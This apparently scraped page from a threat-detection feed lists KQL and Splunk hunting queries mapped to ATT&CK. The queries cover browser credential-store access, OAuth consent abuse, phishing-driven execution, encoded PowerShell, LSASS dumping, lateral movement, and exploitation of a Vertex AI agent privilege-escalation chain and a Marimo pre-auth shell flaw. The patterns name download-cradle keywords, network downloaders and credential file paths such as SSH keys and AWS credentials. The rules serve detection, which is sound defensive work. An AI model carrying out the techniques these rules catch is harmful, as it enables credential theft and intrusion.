| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("gcp-sa-aiplatform-re.iam.gserviceaccount.com", "metadata.google.internal", "us-docker.pkg.dev")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("gcp-sa-aiplatform-re.iam.gserviceaccount.com", "metadata.google.internal", "us-docker.pkg.dev")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("gcp-sa-aiplatform-re.iam.gserviceaccount.com", "metadata.google.internal", "us-docker.pkg.dev")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
[LLM] Vertex AI Agent Engine deployment with python stdlib names embedded in package extrasWeaponizationHigh
Hunts the specific Unit 42 'double agent' deployment pattern where a malicious Vertex AI Reasoning Engine is created with `google-cloud-aiplatform[...,socket,subprocess,os]` — these are python stdlib modules being smuggled in as pip extras to expand the agent runtime's capability surface. Triggers on GCP Cloud Audit Logs for ReasoningEngineService Create/Update calls whose request payload contains those tokens.
Rationale: Article shows the verbatim deploy snippet `google-cloud-aiplatform[adk,agent_engines,requests,socket,subprocess,os]`. `socket`, `subprocess`, and `os` are Python stdlib, not legitimate `google-cloud-aiplatform` extras — their presence in a Reasoning Engine deployment payload is a uniquely high-fidelity weaponization marker that no benign Vertex AI deployment should contain.
Cross-checked against:
• https://thehackernews.com/2026/03/vertex-ai-vulnerability-exposes-google.html
• https://www.securityweek.com/google-addresses-vertex-security-issues-after-researchers-weaponize-ai-agent/
• https://cyberpress.org/privilege-escalation-bug-in-google-vertex-ai/
ATT&CKT1648T1608.001T1078.004
Data sourcesChange.All_Changes
CloudAppEvents
| where Application == "Google Cloud Platform"
| where ActionType has_any ("CreateReasoningEngine","UpdateReasoningEngine","google.cloud.aiplatform.v1beta1.ReasoningEngineService","agent_engines.create")
| extend raw = tostring(RawEventData)
| where raw has "google-cloud-aiplatform[" and raw has_any ("subprocess","socket",",os,",",os]")
| extend principal = tostring(RawEventData.protoPayload.authenticationInfo.principalEmail)
| extend resource = tostring(RawEventData.protoPayload.resourceName)
| project Timestamp, principal, ActionType, resource, raw, AccountObjectId, IPAddress
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Change where Change.object_category=cloud_resource (Change.object="*reasoningEngines*" OR Change.command="*ReasoningEngineService*" OR Change.command="*agent_engines*") (Change.command="*google-cloud-aiplatform[*subprocess*" OR Change.command="*google-cloud-aiplatform[*socket*" OR Change.command="*google-cloud-aiplatform[*\"os\"*" OR Change.command="*,os,*" OR Change.command="*,subprocess,*") by Change.user Change.src Change.object Change.command Change.action Change.result | `drop_dm_object_name(Change)` | search command IN ("*subprocess*","*socket*","*,os,*") | convert ctime(firstTime) ctime(lastTime)
[LLM] Vertex AI Reasoning Engine P4SA (gcp-sa-aiplatform-re) acting on consumer GCS or cross-project Artifact RegistryActions on ObjectivesMedium
Hunts post-exploitation of the Unit 42 'double agent' chain: the stolen Per-Project Service Agent `service-<PROJECT>@gcp-sa-aiplatform-re.iam.gserviceaccount.com` enumerating storage.buckets/storage.objects in the consumer project or pulling from the producer-side `cloud-aiplatform-private` Artifact Registry. Legitimate Reasoning Engine activity for this principal is narrow; broad GCS list/get or artifactregistry.repositories.list across user buckets indicates token abuse.
Rationale: Article names the exact P4SA principal (`service-<PROJECT-ID>@gcp-sa-aiplatform-re.iam.gserviceaccount.com`) and lists the precise leaked permissions (`storage.buckets.get/list`, `storage.objects.get/list`) plus the producer-side `cloud-aiplatform-private` Artifact Registry it can reach. Filtering audit logs on this principal performing those specific methods or hitting that repo path uses the strongest article-confirmed identifier.
Cross-checked against:
• https://unit42.paloaltonetworks.com/double-agents-vertex-ai/
• https://cyberpress.org/privilege-escalation-bug-in-google-vertex-ai/
• https://www.darkreading.com/cyber-risk/googles-vertex-ai-over-privilege-problem
ATT&CKT1552.005T1078.004T1530T1213.003
Data sourcesAuthentication.AuthenticationChange.All_Changes
let suspicious_methods = dynamic(["storage.buckets.list","storage.objects.list","storage.objects.get","storage.buckets.get","artifactregistry.repositories.list","artifactregistry.packages.list","artifactregistry.versions.list"]);
CloudAppEvents
| where Application == "Google Cloud Platform"
| extend principal = tostring(RawEventData.protoPayload.authenticationInfo.principalEmail)
| extend method = tostring(RawEventData.protoPayload.methodName)
| extend resource = tostring(RawEventData.protoPayload.resourceName)
| where principal matches regex @"^service-[0-9]+@gcp-sa-aiplatform-re\.iam\.gserviceaccount\.com$"
| where method in (suspicious_methods) or resource has "cloud-aiplatform-private"
| summarize hits=count(), bucket_count=dcount(resource), methods=make_set(method,20), resources=make_set(resource,20) by principal, bin(Timestamp,1h)
| where bucket_count > 3 or methods has_any ("artifactregistry.repositories.list","artifactregistry.packages.list")
| tstats summariesonly=t count values(Change.object) as objects values(Change.command) as methods dc(Change.object) as bucket_count min(_time) as firstTime max(_time) as lastTime from datamodel=Change where Change.user="service-*@gcp-sa-aiplatform-re.iam.gserviceaccount.com" (Change.command IN ("storage.buckets.list","storage.objects.list","storage.objects.get","storage.buckets.get","artifactregistry.repositories.list","artifactregistry.packages.list","artifactregistry.versions.list")) by Change.user Change.src Change.dest | `drop_dm_object_name(Change)` | where bucket_count > 3 OR like(methods,"%artifactregistry%") | convert ctime(firstTime) ctime(lastTime)
[LLM] Outbound pulls to Google-internal Vertex AI private artifact registry path cloud-aiplatform-privateActions on ObjectivesHigh
Detects egress traffic or container pulls referencing the restricted Google producer paths `us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine` and `.../llm-extension/reasoning-engine-py310` that the Unit 42 research showed are reachable only with the stolen P4SA token. Any host inside the org pulling these is either re-running the published PoC or exercising the leaked credential.
Rationale: Article names three exact Google-internal artifact registry paths (`us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine`, `.../llm-extension/reasoning-engine-py310`, `.../reasoning-engine-py310:prod`) that are documented as not publicly accessible — only the stolen P4SA token reaches them. Any internal host issuing a docker/crane/gcloud pull or HTTPS request to that path is therefore either replaying the PoC or actively exploiting the leaked credential.
Cross-checked against:
• https://unit42.paloaltonetworks.com/double-agents-vertex-ai/
• https://gbhackers.com/google-clouds-vertex-ai-hit-by-vulnerability/
• https://www.securityweek.com/google-addresses-vertex-security-issues-after-researchers-weaponize-ai-agent/
ATT&CKT1213.003T1552.005T1567
Data sourcesEndpoint.ProcessesWeb.WebNetwork_Traffic.All_Traffic
union
( DeviceProcessEvents
| where ProcessCommandLine has_any ("cloud-aiplatform-private","reasoning-engine-py310","us-docker.pkg.dev/cloud-aiplatform-private")
| where InitiatingProcessFileName in~ ("docker.exe","crane.exe","gcloud.cmd","podman.exe","skopeo.exe","powershell.exe","pwsh.exe","python.exe","bash","sh")
or FileName in~ ("docker.exe","crane.exe","gcloud.cmd","podman.exe","skopeo.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName ),
( DeviceNetworkEvents
| where RemoteUrl has_any ("cloud-aiplatform-private","reasoning-engine-py310")
or (RemoteUrl has "us-docker.pkg.dev" and RemoteUrl has "cloud-aiplatform-private")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP )
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN ("docker.exe","docker","crane","crane.exe","gcloud","gcloud.cmd","podman","skopeo") OR Processes.process IN ("*artifacts docker images*","*pull*")) (Processes.process="*cloud-aiplatform-private*" OR Processes.process="*reasoning-engine-py310*" OR Processes.process="*us-docker.pkg.dev/cloud-aiplatform-private*") by Processes.user Processes.dest Processes.process_name Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | append [ | tstats summariesonly=t count from datamodel=Web.Web where (Web.url="*cloud-aiplatform-private*" OR Web.url="*reasoning-engine-py310*") by Web.user Web.src Web.dest Web.url | `drop_dm_object_name(Web)` ] | convert ctime(firstTime) ctime(lastTime)
2026-03-304 use cases0 techniques3 kill-chain phases detected
Citrix NetScaler ADC (formerly Citrix ADC), NetScaler Gateway (formerly Citrix Gateway) and NetScaler ADC FIPS and NDcPP contain an out-of-bounds reads vulnerability when configured as a SAML IDP leading to memory overread. Vendor: Citrix, Product: NetScaler. Federal patch due: 2026-04-02.
CVEsCVE-2026-3055
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-3055")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-3055")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Silver Fox Japanese tax/HR spearphishing with gofile.io or WeTransfer payload
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] ValleyRAT fodhelper UAC bypass via HKCU .pwn shell open command · [LLM] ValleyRAT C2 configuration persistence in HKCU\Software\Console IpDate keys
Command & Control. Beacon to attacker infrastructure for control and tasking. → Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
